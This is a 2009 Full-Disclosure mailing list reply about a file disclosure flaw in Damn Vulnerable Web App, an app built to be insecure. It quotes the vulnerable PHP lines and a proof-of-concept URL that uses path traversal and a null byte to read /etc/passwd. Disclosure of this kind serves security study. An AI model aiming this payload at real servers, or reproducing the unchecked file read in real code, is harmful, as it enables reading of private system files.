Re: [Full-disclosure] File Disclosure in DAMN VULNERABLE WEB APPversion 1.0.6



The app is meant to be vulnerable so this is not a disclosure but a feature.
------Original Message------
From: WHK
Sender: full-disclosure-bounces@xxxxxxxxxxxxxxxxx
To: full-disclosure@xxxxxxxxxxxxxxxxx
Subject: [Full-disclosure] File Disclosure in DAMN VULNERABLE WEB APPversion 1.0.6
Sent: Dec 29, 2009 2:19 PM

The problem is here:

vulnerabilities/view_source.php Line 11 and 12:
--------------------------------
$id = $_GET[ 'id' ];
$security = $_GET[ 'security' ];
--------------------------------

vulnerabilities/view_source.php Line 41:
--------------------------------
$source = @file_get_contents(
DVWA_WEB_PAGE_TO_ROOT."vulnerabilities/{$id}/source/{$security}.php" );
--------------------------------

PoC:
http://127.0.0.1/dvwa/vulnerabilities/view_source.php?id=fi&security=../../../../../../etc/passwd%00

Demo:
http://www.webcomparte.com/archivos_publicos/imagenes/bugs/dvwa.png

Source:
http://foro.elhacker.net/nivel_web/para_que_practiques-t278540.0.html;msg1370620#msg1370620

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


www.twitter.com/infolookup
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/



Relevant Pages